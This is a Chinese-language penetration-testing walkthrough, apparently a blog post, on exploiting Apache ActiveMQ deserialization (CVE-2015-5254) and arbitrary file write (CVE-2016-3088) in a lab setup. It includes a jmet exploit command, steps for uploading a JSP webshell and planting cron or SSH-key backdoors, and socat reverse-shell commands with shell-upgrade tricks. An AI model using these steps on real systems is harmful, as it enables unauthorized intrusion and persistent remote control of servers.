0x00 簡介html
Apache ActiveMQ
是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務、集羣、Spring Framework等。java
0x01 環境搭建python
本文所使用apachemq版本爲:5.11.0
下載地址:http://activemq.apache.org/activemq-5110-release.html
解壓後linux
./bin/activemq start 啓動 netstat -ntlp|grep 8161 查看是否啓動成功(8161爲默認端口)
0x02 反序列化漏洞(CVE-2015-5254)git
Apache ActiveMQ 5.13.0以前5.x版本中存在安全漏洞,該漏洞源於程序沒有限制可在代理中序列化的類。遠程攻擊者可藉助特製的序列化的Java Message Service(JMS)ObjectMessage
對象利用該漏洞執行任意代碼。github
8161爲ActiveMQ的默認web管理端口
,61616默認爲ActiveMQ消息隊列端口
。web
使用jmet
進行漏洞利用,jmet下載地址:
https://github.com/matthiaskaiser/jmet/releasesshell
jmet構造event事件apache
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "payload" -Yp ROME 192.168.124.128 61616
報錯:
vim
在jmet目錄下建立external
文件夾便可
構造反彈shell的payload發送到反序列化的消息隊列中
查看消息:
當點擊消息時觸發:
0x03 任意文件寫入漏洞(CVE-2016-3088)
該漏洞影響Apache ActiveMQ 5.x ~ 5.14.0,但在5.12.x~5.13.x
版本中,已經默認關閉了fileserver
這個應用(能夠在conf/jetty.xml中開啓之)。在5.14.0
版本之後,完全刪除了fileserver應用。
ActiveMQ 中的 FileServer 服務容許用戶經過 HTTP PUT
方法上傳文件到指定目錄。FileServer是儲存文件的接口。FileServer支持寫入文件(不解析jsp),可是支持移動文件(Move
)咱們能夠將jsp的文件PUT到FileServer下而後再經過Move指令移動到可執行目錄下訪問。
使用PUT
方法進行上傳測試:
成功訪問說明文件已經put
上去,咱們能夠直接put jsp小馬/大馬 移動到可解析目錄就能夠getshell了。webapps/api/
或者 webapps/admin/
下均可以解析jsp。可是要移動文件到可解析目錄,須要獲取絕對路徑
這裏介紹兩種獲取絕對路徑的方法:
1.訪問http://ip:8161/admin/test/systemProperties.jsp
2.構造錯誤上傳路徑可爆出絕對路徑(此版本未成功,其餘版本可自行測試)
上傳Webshell:
根據獲取的絕對路徑,移動到Web目錄下的/root/apache-activemq-5.11.0/webapps/admin/test.jsp
訪問shell(需登陸,默認密碼 admin
/admin
)
同理也可寫入ssh key進行公鑰登陸
寫入corntab
反彈shell(須要activemq 以root權限運行)
移動到/etc/cron.d/root
監聽接收shell
crontab定時任務
文件寫入到 /etc/crontab.d/
中
minute hour day month week command 順序:分 時 日 月 周 * * * * * command 表明每分鐘執行一次
0x04 TIPS
一般咱們測試中反彈的shell,操做很簡陋,有時候輸錯一個命令就意味着丟失shell,沒有tab,沒有vim,等等很不友好!
下面分享幾種得到完美shell的方法:
1.使用python pty
模塊,能夠生成一個僞終端
當咱們接收到反彈回來的shell的時候執行
python -c 'import pty; pty.spawn("/bin/bash")'
2.使用socat
Socat 像nc同樣是一個強大的工具,經過tcp鏈接,創建完整的tty,若是受害者服務器安裝了socat
,你就能夠用它來反彈shell。若是沒有安裝可使用以下命令安裝:
wget https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat;chmod +x socat
Listen:
socat file:`tty`,raw,echo=0 tcp-listen:4444
Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:4444
3.加了魔法的netcat
首先第一步咱們按照第一種方法python pty的方式獲取一個shell
接着用組合鍵「Ctrl-Z
」將shell放到後臺中去。
檢查當前終端和styy信息:
須要的信息爲term類型(xterm
)和當前stty大小(rows 33; columns 191)
讓shell繼續保持在後臺運行,如今將當前的STTY
設置爲原始類型,並告訴它回顯輸入字符
用「fg
」將shell提到前臺來,用「reset
」重置終端
最後利用上面收集的信息設置shell終端類型以及stty
大小。
參考連接:https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys